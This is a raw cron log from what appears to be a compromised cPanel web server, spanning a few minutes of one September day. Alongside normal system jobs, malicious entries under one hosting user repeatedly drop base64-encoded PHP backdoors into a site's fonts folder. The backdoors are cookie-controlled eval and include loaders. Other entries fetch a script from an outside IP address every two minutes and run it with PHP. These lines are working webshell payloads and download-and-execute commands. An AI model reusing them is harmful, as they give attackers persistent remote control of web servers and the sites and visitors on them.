Sep  7 18:31:01 ip-184-168-122-23 CROND[30846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:31:01 ip-184-168-122-23 CROND[30848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:31:01 ip-184-168-122-23 CROND[30851]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 18:31:01 ip-184-168-122-23 CROND[30853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:32:01 ip-184-168-122-23 CROND[30975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:32:01 ip-184-168-122-23 CROND[30977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:32:01 ip-184-168-122-23 CROND[30981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:32:01 ip-184-168-122-23 CROND[30978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:32:01 ip-184-168-122-23 CROND[30979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:33:01 ip-184-168-122-23 CROND[31080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:33:01 ip-184-168-122-23 CROND[31081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:33:01 ip-184-168-122-23 CROND[31082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:33:01 ip-184-168-122-23 CROND[31083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:34:01 ip-184-168-122-23 CROND[31167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:34:01 ip-184-168-122-23 CROND[31170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:34:01 ip-184-168-122-23 CROND[31169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:34:01 ip-184-168-122-23 CROND[31168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:34:01 ip-184-168-122-23 CROND[31172]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:35:01 ip-184-168-122-23 CROND[31419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:35:01 ip-184-168-122-23 CROND[31424]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 18:35:01 ip-184-168-122-23 CROND[31421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:35:01 ip-184-168-122-23 CROND[31425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:35:01 ip-184-168-122-23 CROND[31423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:35:01 ip-184-168-122-23 CROND[31422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:35:01 ip-184-168-122-23 CROND[31428]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 18:35:01 ip-184-168-122-23 CROND[31429]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:36:01 ip-184-168-122-23 CROND[31664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:36:02 ip-184-168-122-23 CROND[31667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:36:02 ip-184-168-122-23 CROND[31666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:36:02 ip-184-168-122-23 CROND[31665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:36:02 ip-184-168-122-23 CROND[31670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:37:01 ip-184-168-122-23 CROND[31796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:37:01 ip-184-168-122-23 CROND[31795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:37:01 ip-184-168-122-23 CROND[31797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:37:01 ip-184-168-122-23 CROND[31798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:38:02 ip-184-168-122-23 CROND[31874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:38:02 ip-184-168-122-23 CROND[31875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:38:02 ip-184-168-122-23 CROND[31876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:38:02 ip-184-168-122-23 CROND[31877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:38:02 ip-184-168-122-23 CROND[31878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:39:01 ip-184-168-122-23 CROND[31974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:39:01 ip-184-168-122-23 CROND[31977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:39:01 ip-184-168-122-23 CROND[31975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:39:01 ip-184-168-122-23 CROND[31976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:39:01 ip-184-168-122-23 CROND[31978]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 18:40:01 ip-184-168-122-23 CROND[32119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:40:01 ip-184-168-122-23 CROND[32120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:40:01 ip-184-168-122-23 CROND[32124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:40:01 ip-184-168-122-23 CROND[32125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:40:01 ip-184-168-122-23 CROND[32127]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:40:01 ip-184-168-122-23 CROND[32128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:40:01 ip-184-168-122-23 CROND[32126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:40:01 ip-184-168-122-23 CROND[32129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:41:01 ip-184-168-122-23 CROND[32358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:41:01 ip-184-168-122-23 CROND[32360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:41:01 ip-184-168-122-23 CROND[32362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:41:01 ip-184-168-122-23 CROND[32361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:42:01 ip-184-168-122-23 CROND[32494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:42:01 ip-184-168-122-23 CROND[32493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:42:01 ip-184-168-122-23 CROND[32497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:42:01 ip-184-168-122-23 CROND[32495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:42:01 ip-184-168-122-23 CROND[32496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:43:01 ip-184-168-122-23 CROND[32642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:43:01 ip-184-168-122-23 CROND[32643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
